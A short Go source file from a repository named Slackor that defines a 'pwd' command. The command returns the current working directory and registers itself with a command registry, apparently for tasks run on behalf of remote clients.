github.com/Coalfire-Research/Slackor@v0.0.0-20191010164036-aa32a7f9250b/pkg/common/pwd.go (about) 1 package common 2 3 import ( 4 "os" 5 6 "github.com/Coalfire-Research/Slackor/pkg/command" 7 ) 8 9 // PWD gets the current working directory 10 type PWD struct{} 11 12 // Name is the name of the command 13 func (p PWD) Name() string { 14 return "pwd" 15 } 16 17 // Run gets the current working directory 18 func (p PWD) Run(clientID string, jobID string, args []string) (string, error) { 19 return os.Getwd() 20 } 21 22 func init() { 23 command.RegisterCommand(PWD{}) 24 }